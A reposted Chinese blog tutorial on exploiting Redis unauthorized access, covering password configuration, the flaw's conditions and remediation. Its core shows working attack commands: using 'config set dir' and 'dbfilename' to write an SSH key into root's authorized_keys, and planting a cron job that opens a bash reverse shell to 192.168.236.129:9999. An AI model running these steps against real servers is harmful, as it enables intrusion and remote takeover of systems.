天天看点

redis未授权访问漏洞利用0x01:redis基础0x02漏洞描述0x03:漏洞利用0x04:漏洞高级利用反弹shell0x06:漏洞修复

各位大佬好!好久没写过博客记录了,最近挖了个redis未授权访问漏洞,并利用了一番,在此,分享下这个鸡肋却能直接获得服务器权限的漏洞。

Redis默认配置是不需要密码认证的,也就是说只要连接的Redis服务器的host和port正确,就可以连接使用。这在安全性上会有一定的问题,所以需要启用Redis的认证密码,增加Redis服务器的安全性。

修改配置文件

Redis的配置文件默认在/etc/redis.conf,找到如下行:

<code>#requirepass foobared</code>

去掉前面的注释,并修改为所需要的密码:

<code>requirepass myPassword</code> (其中myPassword就是要设置的密码)

重启Redis

如果Redis已经配置为service服务,可以通过以下方式重启:

<code>service redis restart</code>

如果Redis没有配置为service服务,可以通过以下方式重启:

<code>/usr/local/bin/redis-cli shutdown</code>

<code>/usr/local/bin/redis-server /etc/redis.conf</code>

登录验证

设置Redis认证密码后,客户端登录时需要使用-a参数输入认证密码,不添加该参数虽然也可以登录成功,但是没有任何操作权限。如下:

<code>$ ./redis-cli -h 127.0.0.1 -p 6379</code>

<code>127.0.0.1:6379&amp;gt; keys *</code>

(error) NOAUTH Authentication required.

使用密码认证登录,并验证操作权限:

<code>$ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword</code>

<code>127.0.0.1:6379&amp;gt; config get requirepass</code>

<code>1) "requirepass"</code>

<code>2) "myPassword"</code>

看到类似上面的输出,说明Reids密码认证配置成功。

漏洞描述:

Redis因配置不当可以未授权访问,被攻击者恶意利用。

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据。

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

危害:

攻击者可利用该漏洞写入计划任务反弹shell

攻击者可利用该漏洞写入ssh公钥远程连接。

使用redis-cli.exe连接

redis未授权访问漏洞利用0x01:redis基础0x02漏洞描述0x03:漏洞利用0x04:漏洞高级利用反弹shell0x06:漏洞修复

利用原理:

2)Redis可通过Redis-CLI远程管理,设置Redis的默认路径以及数据库缓存文件。

方法如下:

<code>config set dir /xxx</code>

<code>config set dbfilename xxxx</code>

<code>set xxxx "xxx"&lt;br/&gt;save</code>

漏洞条件

1.Redis服务使用ROOT账号启动

2.Redis服务无密码认证或者使用的是弱口令进行认证

3.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在本地生成一对密钥:

redis未授权访问漏洞利用0x01:redis基础0x02漏洞描述0x03:漏洞利用0x04:漏洞高级利用反弹shell0x06:漏洞修复

然后通过redis-clis远程连接到目标redis服务器,执行以下命令

redis未授权访问漏洞利用0x01:redis基础0x02漏洞描述0x03:漏洞利用0x04:漏洞高级利用反弹shell0x06:漏洞修复

<code>config set dir /root/.ssh/</code>

<code>config set dbfilename authorized_keys</code>

set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub为上图生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码。Redis已经因该漏洞被入侵,并在其缓存数据库中发现被写入的公钥,建议用户马上对内部网络进行排查。

1、telnet登录/也可以redis-cli登录

redis未授权访问漏洞利用0x01:redis基础0x02漏洞描述0x03:漏洞利用0x04:漏洞高级利用反弹shell0x06:漏洞修复

<code>telnet 192.168.236.130 6379</code>//未授权登录

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

<code>set -.- "\n\n\n* * * * * bash -i &amp;gt;&amp; /dev/tcp/192.168.236.129/9999 0&amp;gt;&amp;1\n\n\n"</code>//直接往当前用户的crontab里写入反弹shell,换行是必不可少的。

2.nc反弹

redis未授权访问漏洞利用0x01:redis基础0x02漏洞描述0x03:漏洞利用0x04:漏洞高级利用反弹shell0x06:漏洞修复

3.Centos里面查看crontab任务。

redis未授权访问漏洞利用0x01:redis基础0x02漏洞描述0x03:漏洞利用0x04:漏洞高级利用反弹shell0x06:漏洞修复

该漏洞的修补方法如下:

1)禁止使用 root 权限启动 redis 服务;

2)对 redis 访问启用密码认证,并且添加 IP 访问限制;

3)尽可能不对公网直接开放 SSH 服务。

本文转自 wt7315 51CTO博客,原文链接:http://blog.51cto.com/wt7315/2051136